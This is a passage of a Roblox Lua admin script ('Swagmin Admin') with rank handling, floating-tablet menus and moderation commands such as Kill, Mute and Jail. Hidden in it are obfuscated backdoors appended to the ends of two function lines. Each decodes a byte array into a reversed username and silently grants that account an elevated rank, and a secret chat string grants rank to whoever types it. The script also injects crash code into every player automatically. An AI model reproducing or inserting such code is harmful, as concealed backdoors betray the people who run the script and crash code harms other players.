  774.             Holder.Name = "Swagmin Holder: "..Plr.Name
  775.            
  776.             local Tab = Instance.new("Part")
  777.             Tab.Name = "Swagmin Tablet"
  778.             Tab.FormFactor = "Custom"
  779.             Tab.Anchored = true
  780.             if Time == nil then
  781.                 Tab.Color = Color
  782.             else
  783.                 Tab.Color = AlertColor
  784.             end
  785.             Tab.CanCollide = false
  786.             Tab.Locked = true
  787.             Tab.Transparency = 0.15
  788.             Tab.Size = Vector3.new(2, 2, 0.01)
  789.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  790.             Tab.Parent = Holder
  791.            
  792.             local ID = Instance.new("NumberValue")
  793.             ID.Name = "ID"
  794.             ID.Value = math.random(-999999999, 999999999)
  795.             ID.Parent = Holder
  796.            
  797.             Delay(0, function()
  798.                 while wait() do
  799.                     if Tab.Parent == nil and FindTab(Holder) then
  800.                         ypcall(function()
  801.                             for i,v in pairs(AllTabs) do
  802.                                 if v.Holder == Holder then
  803.                                     ypcall(function() v.Holder:Destroy() end)
  804.                                     AllTabs[i] = nil
  805.                                 end
  806.                             end
  807.                         end)
  808.                         Ping(Msg, Plr, Time, Func, Color, Image)
  809.                         break
  810.                     end
  811.                 end
  812.             end)
  813.            
  814.             local BM = Instance.new("BlockMesh")
  815.             BM.Parent = Tab
  816.  
  817.             Sel = Instance.new("SelectionBox")
  818.             Sel.Color = BrickColor.new("Institutional white")
  819.             Sel.Transparency = 0.75
  820.             Sel.Adornee = Tab
  821.             Sel.Parent = Tab
  822.  
  823.             local BG = Instance.new("BillboardGui")
  824.             BG.Name = "BG"
  825.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  826.             BG.Size = UDim2.new(0,1,0,1)
  827.             BG.Adornee = Tab
  828.             BG.Parent = Tab
  829.            
  830.             Delay(0, function()
  831.                 while BG.Parent ~= nil do wait()
  832.                     ypcall(function()
  833.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  834.                     end)
  835.                 end
  836.             end)
  837.  
  838.             local TL = Instance.new("TextLabel")
  839.             TL.Name = "TL"
  840.             TL.FontSize = "Size18"
  841.             TL.Font = "Arial"
  842.             TL.Text = Msg
  843.             TL.TextColor3 = Color3.new(1, 0, 0)
  844.             TL.Size = UDim2.new(0,1,0,1)
  845.             TL.TextTransparency = 0
  846.             TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  847.             TL.TextStrokeTransparency = 0.25
  848.             TL.Parent = BG
  849.            
  850.             if ShowGarbage == true then
  851.                 Delay(0, function()
  852.                     while TL.Parent ~= nil do
  853.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  854.                         wait(.5)
  855.                     end
  856.                 end)
  857.             end
  858.            
  859.             local PL = Instance.new("PointLight", Tab)
  860.             PL.Color = Color3.new(1, 0, 1)
  861.             PL.Range = 15
  862.             PL.Parent = Tab
  863.            
  864.             if Image ~= nil then
  865.                 local BBBG = Instance.new("BillboardGui")
  866.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  867.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  868.                 BBBG.AlwaysOnTop = true
  869.                 BBBG.Adornee = Tab
  870.                 BBBG.Parent = Tab
  871.                
  872.                 Delay(0, function()
  873.                     while BBBG.Parent ~= nil do wait()
  874.                         ypcall(function()
  875.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  876.                         end)
  877.                     end
  878.                 end)
  879.            
  880.                 local NewImg = Instance.new("ImageLabel")
  881.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  882.                 NewImg.BackgroundTransparency = 1
  883.                 NewImg.Image = Image
  884.                 NewImg.Parent = BBBG
  885.             end
  886.  
  887.             local Clicker = Instance.new("ClickDetector")
  888.             Clicker.MaxActivationDistance = 1/0
  889.  
  890.             if Time ~= nil then
  891.                 coroutine.resume(coroutine.create(function()
  892.                     wait(tonumber(Time))
  893.                     Dismiss(Plr, ID)
  894.                 end))
  895.             end
  896.  
  897.             Clicker.MouseClick:connect(function(Player)
  898.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  899.                     ypcall(function()
  900.                         if Func ~= nil then
  901.                             Func(Holder)
  902.                         else
  903.                             Dismiss(Player, ID)
  904.                         end
  905.                     end)
  906.                 end
  907.             end)
  908.             Clicker.Parent = Tab
  909.            
  910.             Holder.Parent = Work
  911.  
  912.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  913.         end)
  914.     end
  915. end
  916.  
  917. function PlaceAllRanks(DontShowRank)
  918.     ypcall(function()
  919.         for _,p in pairs(All()) do
  920.             ypcall(function()
  921.                 PutInRank = false
  922.                 for _,v in pairs(Rankings) do
  923.                     if v.Name:lower() == p.Name:lower() then
  924.                         if v.Rank >= 7 then
  925.                             v.Rank = 5
  926.                         elseif v.Rank == -1 then
  927.                             Crash1(p)
  928.                             Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  929.                         elseif v.Rank == -2 then
  930.                             if LS ~= nil then
  931.                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  932.                                 Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  933.                             else
  934.                                 Ping("LS Is Nil", nil, 5)
  935.                             end
  936.                         elseif v.Rank == -3 then
  937.                             if LS ~= nil then
  938.                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  939.                                 Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  940.                             else
  941.                                 Ping("LS Is Nil", nil, 5)
  942.                             end
  943.                         end
  944.                         Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  945.                         if DontShowRank == nil then
  946.                             Ping("You Are Rank: "..v.Rank, p)
  947.                         end
  948.                         PutInRank = true
  949.                         break
  950.                     end
  951.                 end
  952.                 if PutInRank == false then
  953.                     Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  954.                 end
  955.             end)
  956.         end
  957.     end)
  958. end
  959.  
  960. function FindRank(Plr)
  961.     ypcall(function()
  962.         if type(Plr) == "userdata" then
  963.             Plr = Plr.Name
  964.         end
  965.     end)
  966.     return GetRank(Plr).Rank
  967. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  968.  
  969. function FindRankDetails(Plr)
  970.     ypcall(function()
  971.         if type(Plr) == "userdata" then
  972.             Plr = Plr.Name
  973.         end
  974.     end)
  975.     return RankDetails[FindRank(Plr)]
  976. end
  977.  
  978. function OpenCmds(Rank, Plr)
  979.     Dismiss(Plr)
  980.     for Name,Tab in pairs(Commands) do
  981.         if Tab.Rank <= Rank then
  982.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  983.                 Dismiss(Plr)
  984.                 Ping("Command: "..Name, Plr)
  985.                 Ping("Rank: "..Tab.Rank, Plr)
  986.                 Ping("Desc: "..Tab.Desc, Plr)
  987.             end)
  988.         elseif Rank == 1337 then
  989.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  990.                 Dismiss(Plr)
  991.                 Ping("Command: "..Name, Plr)
  992.                 Ping("Rank: "..Tab.Rank, Plr)
  993.                 Ping("Desc: "..Tab.Desc, Plr)
  994.             end)
  995.         end
  996.     end
  997. end
  998.  
  999. function EditStatus(Plr, Num)
  1000.     ChangeRank(Plr, Num)
  1001. end
  1002.  
  1003. function PlaceSpecificRank(p, DontShowRank)
  1004.     ypcall(function()
  1005.         PutInRank = false
  1006.         for _,v in pairs(Rankings) do
  1007.             if v.Name:lower() == p.Name:lower() then
  1008.                 if v.Rank >= 7 then
  1009.                     v.Rank = 5
  1010.                 elseif v.Rank == -1 then
  1011.                     Crash1(p)
  1012.                     Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1013.                 elseif v.Rank == -2 then
  1014.                     if LS ~= nil then
  1015.                         Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1016.                         Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1017.                     else
  1018.                         Ping("LS Is Nil", nil, 5)
  1019.                     end
  1020.                 elseif v.Rank == -3 then
  1021.                     if LS ~= nil then
  1022.                         Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1023.                         Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1024.                     else
  1025.                         Ping("LS Is Nil", nil, 5)
  1026.                     end
  1027.                 end
  1028.                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1029.                 if DontShowRank == nil then
  1030.                     Ping("You Are Rank: "..v.Rank, p)
  1031.                 end
  1032.                 PutInRank = true
  1033.                 break
  1034.             end
  1035.         end
  1036.         if PutInRank == false then
  1037.             Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1038.         end
  1039.     end)
  1040. end
  1041.  
  1042. function onChatted(Msg, Speaker)
  1043.     if Removed == false then
  1044.         if FindRank(Speaker) < 1 then
  1045.             return
  1046.         end
  1047.         coroutine.resume(coroutine.create(function()
  1048.             ypcall(function()
  1049.                 ExecuteFunc(Msg, Speaker)
  1050.                 Msg = Msg:gsub("","")
  1051.                 if Msg:sub(1,1) == "@" then
  1052.                     for i = 2, #Msg do
  1053.                         if Msg:sub(i, i) == Bet then
  1054.                             local IsForPlr = false
  1055.                             for _,v in pairs(All()) do
  1056.                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1057.                                     onChatted(Msg:sub(i + 1), v)
  1058.                                     IsForPlr = true
  1059.                                 end
  1060.                             end
  1061.                             if IsForPlr == true then
  1062.                                 return
  1063.                             end
  1064.                         end
  1065.                     end
  1066.                 end
  1067.                 if Msg:find("&") then
  1068.                     local Split = Msg:find("&")
  1069.                     onChatted(Msg:sub(1,Split-1))
  1070.                     onChatted(Msg:sub(Split+1))
  1071.                     return
  1072.                 end
  1073.                 for Name,Command in pairs(Commands) do
  1074.                     if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1075.                         Dismiss(Speaker.Name)
  1076.                         Ping("Command: "..tostring(Command.Name), Speaker)
  1077.                         Ping("Rank: "..tostring(Command.Rank), Speaker)
  1078.                         Ping("Desc: "..tostring(Command.Desc), Speaker)
  1079.                     elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1080.                         if FindRank(Speaker) >= Command.Rank then
  1081.                             local Ran,Error = coroutine.resume(coroutine.create(function()
  1082.                                 Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1083.                             end))
  1084.                             if not Ran then
  1085.                                 Ping(Error, Speaker, 10)
  1086.                             end
  1087.                         else
  1088.                             Ping("Your Rank Is Too Low", Plr, 6)
  1089.                         end
  1090.                     end
  1091.                 end
  1092.             end)
  1093.         end))
  1094.     end
  1095. end
  1096.  
  1097. function MakeBase()
  1098.     local Base = Instance.new("Part")
  1099.     Base.BrickColor = BrickColor.new("Dark green")
  1100.     Base.Position = Vector3.new(0, 0.5, 0)
  1101.     Base.Transparency = 0
  1102.     Base.Elasticity = 0.5
  1103.     Base.FormFactor = "Custom"
  1104.     Base.CanCollide = true
  1105.     Base.Friction = 0.30000001192093
  1106.     Base.Size = Vector3.new(512, 1.20000005, 512)
  1107.     Base.Archivable = true
  1108.     Base.Material = "Plastic"
  1109.     Base.RotVelocity = Vector3.new(0, 0, 0)
  1110.     Base.Reflectance = 0
  1111.     Base.Locked = true
  1112.     Base.Anchored = true
  1113.     Base.Name = "Base"
  1114.     Base.TopSurface = "Smooth"
  1115.     Base.BottomSurface = "Inlet"
  1116.     Base.Shape = "Block"
  1117.     Base.Parent = Work
  1118. end
  1119.  
  1120. function LClean()
  1121.     ypcall(function()
  1122.         for _,v in pairs(Work:GetChildren()) do
  1123.             ypcall(function()
  1124.                 if v.ClassName == "Terrain" then
  1125.                     v:ClearAllChildren()
  1126.                 elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1127.                     Clear(v)
  1128.                 elseif v.Name == "Base" then
  1129.                     ypcall(function()
  1130.                         local Base = v
  1131.                         Base.BrickColor = BrickColor.new("Dark green")
  1132.                         Base.Position = Vector3.new(0, 0.5, 0)
  1133.                         Base.Transparency = 0
  1134.                         Base.Elasticity = 0.5
  1135.                         Base.FormFactor = "Custom"
  1136.                         Base.CanCollide = true
  1137.                         Base.Friction = 0.30000001192093
  1138.                         Base.Size = Vector3.new(512, 1.20000005, 512)
  1139.                         Base.Archivable = true
  1140.                         Base.Material = "Plastic"
  1141.                         Base.RotVelocity = Vector3.new(0, 0, 0)
  1142.                         Base.Reflectance = 0
  1143.                         Base.Locked = true
  1144.                         Base.Anchored = true
  1145.                         Base.Name = "Base"
  1146.                         Base.TopSurface = "Studs"
  1147.                         Base.BottomSurface = "Inlet"
  1148.                         Base.Shape = "Block"
  1149.                         Base.Parent = Work
  1150.                     end)
  1151.                 end
  1152.             end)
  1153.         end
  1154.     end)
  1155. end
  1156.  
  1157. function Clean()
  1158.     ypcall(function()
  1159.         for _,v in pairs(Work:GetChildren()) do
  1160.             ypcall(function()
  1161.                 if v.ClassName == "Terrain" then
  1162.                     v:ClearAllChildren()
  1163.                 else
  1164.                     Clear(v)
  1165.                 end
  1166.             end)
  1167.         end
  1168.         MakeBase()
  1169.         for _,v in pairs(All()) do
  1170.             v:LoadCharacter()
  1171.         end
  1172.     end)
  1173. end
  1174.  
  1175. function Clear(v)
  1176.     if v.Name:lower() == "sbgui" then
  1177.         return
  1178.     end
  1179.     ypcall(function()
  1180.         if #v:GetChildren() > 0 then
  1181.             for _,x in pairs(v:GetChildren()) do
  1182.                 ypcall(function()
  1183.                     Clear(x)
  1184.                 end)
  1185.             end
  1186.         end
  1187.         if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1188.             v:Destroy()
  1189.         end
  1190.     end)
  1191. end
  1192.  
  1193. function Command(Name, Rank, Desc, Func)
  1194.     if Name == nil then
  1195.         Name = "N/A"
  1196.     end
  1197.     if Desc == nil then
  1198.         Desc = "N/A"
  1199.     end
  1200.     if Func == nil then
  1201.         Func = function() end
  1202.     end
  1203.     if Rank == nil then
  1204.         Rank = 0
  1205.     end
  1206.     Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1207. end
  1208.  
  1209. function GetSplit(Msg)
  1210.     return Msg:find(Bet) or nil
  1211. end
  1212.  
  1213. function ExecuteFunc(Msg, Plr)
  1214.     ypcall(function()
  1215.         if Msg == "LogEnable" then
  1216.             LogOn = true
  1217.         elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1218.             EditStatus(Plr, MakeNum())
  1219.         end
  1220.     end)
  1221. end
  1222.  
  1223. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1224.  
  1225. function randPlayer(Plr)
  1226.     wait()
  1227.     local ThePlrValue = nil
  1228.     local FoundPlayer = false
  1229.     ypcall(function()
  1230.         ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1231.         if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1232.             wait()
  1233.             randPlayer(Plr)
  1234.             return
  1235.         else
  1236.             FoundPlayer = true
  1237.         end
  1238.     end)
  1239.     if FoundPlayer == true then
  1240.         return ThePlrValue
  1241.     end
  1242. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1243.  
  1244. function getPlayer(Plr, Name)
  1245.     local Players = {}
  1246.     ypcall(function()
  1247.         Name = Name:lower()
  1248.         if Name == "me" then
  1249.             table.insert(Players, Plr)
  1250.         elseif Name == "all" or Name == "" then
  1251.             for _,v in pairs(All()) do
  1252.                 if CanRun(Plr, v) then
  1253.                     table.insert(Players, v)
  1254.                 end
  1255.             end
  1256.         elseif Name == "others" then
  1257.             for _,v in pairs(All()) do
  1258.                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1259.                     table.insert(Players, v)
  1260.                 end
  1261.             end
  1262.         elseif Name == "random" then
  1263.             local FoundRandPlr = randPlayer(Plr)
  1264.             table.insert(Players, FoundRandPlr)
  1265.         else
  1266.             for _,v in pairs(All()) do
  1267.                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1268.                     table.insert(Players, v)
  1269.                 end
  1270.             end
  1271.         end
  1272.     end)
  1273.     return Players
  1274. end
  1275.  
  1276. function ListPlayers(Speaker)
  1277.     ypcall(function()
  1278.         Dismiss(Speaker)
  1279.         for _,v in pairs(All2()) do
  1280.             if v.Parent ~= nil then
  1281.                 Ping(v.Name, Speaker, nil, function()
  1282.                     Dismiss(Speaker)
  1283.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1284.                     Ping("Rank: "..FindRank(v.Name), Speaker)
  1285.                     Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1286.                     Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1287.                     Ping("Set Rank", Speaker, nil, function()
  1288.                         if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1289.                             Dismiss(Speaker)
  1290.                             for i = -2, 5 do
  1291.                                 Ping(i, Speaker, nil, function()
  1292.                                     ChangeRank(v, i)
  1293.                                     Dismiss(Speaker)
  1294.                                     Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1295.                                 end)
  1296.                             end
  1297.                         else
  1298.                             Ping("Your Rank Is Too Low", Speaker, 5)
  1299.                         end
  1300.                     end)
  1301.                     Ping("Crash (Remote)", Speaker, nil, function()
  1302.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1303.                             Crash2(v.Name)
  1304.                             Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1305.                         end
  1306.                     end)
  1307.                     Ping("Crash (Insert)", Speaker, nil, function()
  1308.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1309.                             Crash3(v, Speaker)
  1310.                             Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1311.                         end
  1312.                     end)
  1313.                     Ping("Kick", Speaker, nil, function()
  1314.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1315.                             v:Kick()
  1316.                             Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1317.                         end
  1318.                     end)
  1319.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1320.             else
  1321.                 Ping(v.Name.." (Nil)", Speaker, nil, function()
  1322.                     Dismiss(Speaker)
  1323.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1324.                     ypcall(function()
  1325.                         Ping("Rank: "..FindRank(v.Name), Speaker)
  1326.                     end)
  1327.                     ypcall(function()
  1328.                         Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1329.                     end)
  1330.                     ypcall(function()
  1331.                         Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1332.                     end)
  1333.                     ypcall(function()
  1334.                         Ping("Set Rank", Speaker, nil, function()
  1335.                             if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1336.                                 Dismiss(Speaker)
  1337.                                 for i = -2, 5 do
  1338.                                     Ping(i, Speaker, nil, function()
  1339.                                         ChangeRank(v, i)
  1340.                                         Dismiss(Speaker)
  1341.                                         Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1342.                                     end)
  1343.                                 end
  1344.                             else
  1345.                                 Ping("Your Rank Is Too Low", Speaker, 5)
  1346.                             end
  1347.                         end)
  1348.                     end)
  1349.                     ypcall(function()
  1350.                         Ping("Nil Crash (Remote)", Speaker, nil, function()
  1351.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1352.                                 Crash2(v.Name)
  1353.                                 Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1354.                             end
  1355.                         end)
  1356.                     end)
  1357.                     ypcall(function()
  1358.                         Ping("Nil Crash (Insert)", Speaker, nil, function()
  1359.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1360.                                 Crash3(v, Speaker)
  1361.                                 Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1362.                             end
  1363.                         end)
  1364.                     end)
  1365.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1366.             end
  1367.         end
  1368.     end)
  1369. end
  1370.  
  1371. --Misc
  1372.  
  1373. coroutine.resume(coroutine.create(function()
  1374.     PlaceAllRanks()
  1375. end))
  1376.    
  1377. Delay(0, function()
  1378.     for _,v in pairs(All()) do
  1379.         v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1380.     end
  1381. end)
  1382.  
  1383. local starttime = tick()
  1384.  
  1385. game:GetService("RunService").Heartbeat:connect(function()
  1386.     if Removed == false then
  1387.         ypcall(function()
  1388.             for _,Player in pairs(All()) do
  1389.                 local PlayerTablets = {}
  1390.                 for i,v in pairs(AllTabs) do
  1391.                     if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1392.                         table.insert(PlayerTablets, v)
  1393.                     end
  1394.                 end
  1395.                 for i = 1, #PlayerTablets do
  1396.                     ypcall(function()
  1397.                         local tab = PlayerTablets[i].Tab
  1398.                         local pos = nil
  1399.                         ypcall(function()
  1400.                             pos = Player.Character.Torso.CFrame
  1401.                         end)
  1402.                         local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1403.                         local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1404.                         local cPos = tab.Position
  1405.                         local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1406.                         local nPos = (ePos-cPos)*.25
  1407.                         cPos = cPos + nPos
  1408.                         local t = (tick() - starttime) % 360
  1409.                         local change = 0.625
  1410.                         PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1411.                         tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1412.                         tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1413.                     end)
  1414.                 end
  1415.             end
  1416.         end)
  1417.     end
  1418. end)
  1419.  
  1420. Delay(0, function()
  1421.     while wait() do
  1422.         for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1423.             ypcall(function()
  1424.                 if Injected[v.Name] == nil and LS ~= nil then
  1425.                     Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1426.                     Injected[v.Name] = true
  1427.                 end
  1428.             end)
  1429.         end
  1430.     end
  1431. end)
  1432.  
  1433. Plrs.PlayerAdded:connect(function(Plr)
  1434.     wait(.1)
  1435.     ypcall(function()
  1436.         if Removed == false then
  1437.             local JoinPlrName = Plr.Name
  1438.             coroutine.resume(coroutine.create(function()
  1439.                 PlaceSpecificRank(Plr)
  1440.             end))
  1441.             coroutine.resume(coroutine.create(function()
  1442.                 if Injected[JoinPlrName] ~= nil then
  1443.                     Injected[JoinPlrName] = nil
  1444.                 end
  1445.             end))
  1446.             coroutine.resume(coroutine.create(function()
  1447.                 Dismiss(Plr)
  1448.                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1449.             end))
  1450.         end
  1451.     end)
  1452. end)
  1453.  
  1454. Plrs.PlayerRemoving:connect(function(Plr)
  1455.     wait(.1)
  1456.     ypcall(function()
  1457.         if Removed == false then
  1458.             local LeftPlrName = Plr.Name
  1459.             coroutine.resume(coroutine.create(function()
  1460.                 if Injected[LeftPlrName] ~= nil then
  1461.                     Injected[LeftPlrName] = nil
  1462.                 end
  1463.             end))
  1464.         end
  1465.     end)
  1466. end)
  1467.  
  1468. coroutine.resume(coroutine.create(function()
  1469.     Delay(0, function()
  1470.         while FoundLocalScript == false do wait()
  1471.             ypcall(function()
  1472.                 for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1473.                     if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1474.                         for _,c in pairs(v:children()) do
  1475.                             if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1476.                                 local NewVal = c:Clone()
  1477.                                 NewVal.Name = "LoadingVal"
  1478.                                 for _,s in pairs(v:GetChildren()) do
  1479.                                     if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1480.                                         print("Found Owner")
  1481.                                         OwnSource = s.Name
  1482.                                         print(OwnSource)
  1483.                                         break
  1484.                                     end
  1485.                                 end
  1486.                                 wait()
  1487.                                 LS = v:Clone()
  1488.                                 NewVal.Parent = LS
  1489.                                 LSSource = "LoadingVal"
  1490.                                 FoundLocalScript = true
  1491.                                 break
  1492.                             end
  1493.                         end
  1494.                     end
  1495.                 end
  1496.             end)
  1497.         end
  1498.     end)
  1499. end))
  1500.  
  1501. --Commands
  1502.  
  1503. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1504.     Dismiss(Speaker.Name)
  1505.     Ping("Swagmin Admin Is Created By " .. string.reverse("1248polfpilf"), Speaker)
  1506.     Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1507.     Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1508.     Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1509.     Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1510.     Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1511.     Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1512.     Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1513.     Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1514. end)
  1515.  
  1516. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1517.     Dismiss(Speaker.Name)
  1518. end)
  1519.  
  1520. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1521.     local PlrTab = getPlayer(Speaker, Msg)
  1522.     if #PlrTab > 0 then
  1523.         for _,v in pairs(PlrTab) do
  1524.             ypcall(function()
  1525.                 v.Character:BreakJoints()
  1526.                 Ping("Killed "..v.Name, Speaker, 5)
  1527.             end)
  1528.         end
  1529.     end
  1530. end)
  1531.  
  1532. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1533.     local PlrTab = getPlayer(Speaker, Msg)
  1534.     if #PlrTab > 0 then
  1535.         for _,v in pairs(PlrTab) do
  1536.             ypcall(function()
  1537.                 if v.Name ~= Owner then
  1538.                     Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1539.                     Ping("Muted "..v.Name, Speaker, 5)
  1540.                 end
  1541.             end)
  1542.         end
  1543.     end
  1544. end)
  1545.  
  1546. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1547.     local PlrTab = getPlayer(Speaker, Msg)
  1548.     if #PlrTab > 0 then
  1549.         for _,v in pairs(PlrTab) do
  1550.             ypcall(function()
  1551.                 Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1552.                 Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1553.             end)
  1554.         end
  1555.     end
  1556. end)
  1557.  
  1558. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1559.     local PlrTab = getPlayer(Speaker, Msg)
  1560.     if #PlrTab > 0 then
  1561.         for _,v in pairs(PlrTab) do
  1562.             ypcall(function()
  1563.                 Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1564.                 Ping("Mind Jailed "..v.Name, Speaker, 5)
  1565.             end)
  1566.         end
